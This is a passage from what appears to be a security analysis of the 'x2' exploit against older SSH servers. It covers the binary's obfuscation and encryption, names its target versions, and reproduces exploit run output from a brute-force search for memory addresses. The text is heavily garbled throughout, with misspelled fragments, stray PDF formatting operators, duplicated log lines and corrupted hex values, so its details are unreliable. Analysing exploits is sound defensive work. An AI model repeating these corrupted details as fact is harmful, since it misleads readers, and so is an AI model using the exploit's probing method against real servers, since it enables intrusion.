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The binary file was obfuscated using an as yet unidentified method, thus using normal
debuggers and even the rudimentary strings command prov 0 leffecativt ufortuinaely. s
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comparison.

The observation here could be made that the file is encrypted using an unidentified
method. Look at the file tails, these especially show that there are many hex values set
at 0x00. On the encrypted file, X2, you observe an absence of hex values of zero.

Determining Encryption Type

In thinking that the file may have been sima
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target lists, however, there are versions of the x2 exploit in the wild with only three of the
target lists, specifically, SSH-1.5-1.2.27, SSH-1.99-OpenSSH_2.2.0p1, and SSH-1.99-

OpenSSH_2.2.0p1.

At this point, the full code wa6 Twcuthed and(targehed gainst a SwcuareSheullSer vee )Tj0.0058 Tc -0.005&



#cat x2.1811 | grep read
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(7 ) (7 ) binary-search: h: 0x083ffffc, slider: 0x00000800 # binary-search:

slider: 0x00000800 # SEGV #

(8 ) (8 ) binary-search: h: 0x083ffbfc, slider: 0x00000400 # binary-search:

slider: 0x00000400 # SURVIVED #

(9 ) (9 ) binary-search: h: 0x083ffdfc, slider: 0x00000200 # binary-search:

slider: 0x00000200 # SURVIVED #

(10) binary-search: h: 0x083ffefc, slider: 0x00000100 # (10) binary-search:

slider: 0x00000100 # SEGV #

: Ox083ffffc,
1 0x083ffbfc,
: 0x083ffdfc,
: 0x083ffefc,
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(59) Trying: Oxb7f78594 # (59) Trying: Oxb7f78594 # SEGV # OK

Finding exact h - stack buf distance

(60) trying: Oxb7f78394 slider: 0x0200# Finding exact h - stack buf distance

(60) trying: Oxb7f78394 slider: 0x0200# SEGV #

(61) trying: Oxb7f78494 slider: 0x0100# (61) trying: Oxb7f78494 slider: O0x0100# SEGV #
(62) trying: Oxb7f78514 slider: 0x0080# (62) trying: Oxb7f78514 slider: 0x0080# SEGV #
(63) trying: Oxb7f78554 slider: 0x0040# (63) trying: Oxb7f78554 slider: 0x0040#

(64) trying: Oxb7f78534 slider: 0x0020# (64) trying: Oxb7f78534 slider: 0x0020# SEGV #
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